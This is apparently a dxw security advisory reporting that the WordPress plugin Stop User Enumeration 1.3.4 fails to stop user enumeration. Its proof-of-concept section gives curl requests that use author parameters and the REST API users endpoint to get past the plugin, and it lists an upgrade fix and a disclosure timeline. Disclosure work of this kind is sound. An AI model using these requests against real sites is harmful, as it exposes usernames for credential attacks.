Details ================ Software: Stop User Enumeration Version: 1.3.4 Homepage: https://wordpress.org/plugins/stop-user-enumeration/ Advisory report: https://security.dxw.com/advisories/stop-user-enumeration-does-not-stop-user-enumeration/ CVE: Awaiting assignment CVSS: 5 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:N) Description ================ Stop User Enumeration does not stop user enumeration Vulnerability ================ Traditionally user enumeration of a WordPress site is done by making a series of requests to /?author=1 /?author=2 /?author=3 and so onA (a similar effect can be achieved using POST requests too). WordPress 4.7 introduced a REST API endpoint to list all users. This plugin attempts toA prevent requests with an author parameter (but fails), andA makes no attempt at preventing requests to the REST API. Proof of concept ================ There are three ways to bypass this pluginas protections. A GET request: $ curl -i -s \'http://localhost/?wp-comments-post&author=1\' HTTP/1.1 301 Moved Permanently Date: Fri, 23 Dec 2016 15:38:02 GMT Server: Apache/2.4.10 (Debian) X-Powered-By: PHP/7.0.13 Location: http://localhost/author/tomdxw/?wp-comments-post Content-Length: 0 Content-Type: text/html; charset=UTF-8 A POST request: $ curl -s http://localhost/?wp-comments-post -d author=1 | grep \'<title\' <title>tomdxw a WP Test</title> The REST API (new in WordPress 4.7): $ curl -s http://localhost/wp-json/wp/v2/users [{\"id\":1,\"name\":\"tomdxw\",\"url\":\"\",\"description\":\"\",\"link\":\"http:\\/\\/localhost\\/author\\/tomdxw\\/\",\"slug\":\"tomdxw\",\"avatar_urls\":{\"24\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=24&d=mm&r=g\",\"48\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=48&d=mm&r=g\",\"96\":\"http:\\/\\/2.gravatar.com\\/avatar\\/2b5450324939bb3d1352f377950c5503?s=96&d=mm&r=g\"},\"meta\":[],\"_links\":{\"self\":[{\"href\":\"http:\\/\\/localhost\\/wp-json\\/wp\\/v2\\/users\\/1\"}],\"collection\":[{\"href\":\"http:\\/\\/localhost\\/wp-json\\/wp\\/v2\\/users\"}]}}] Mitigations ================ Upgrade to version 1.3.5 or later. Disclosure policy ================ dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/ Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf. This vulnerability will be published if we do not receive a response to this report with 14 days. Timeline ================ 2016-12-23: Discovered 2016-12-23: Reported to vendor viaA info@fullworks.net 2016-12-23: Requested CVE 2016-12-23: Vendor first replied 2017-01-03: Vendor reported issue fixed in version 1.3.5 2017-01-04: Advisory published Discovered by dxw: ================ Tom Adams Please visit security.dxw.com for more information.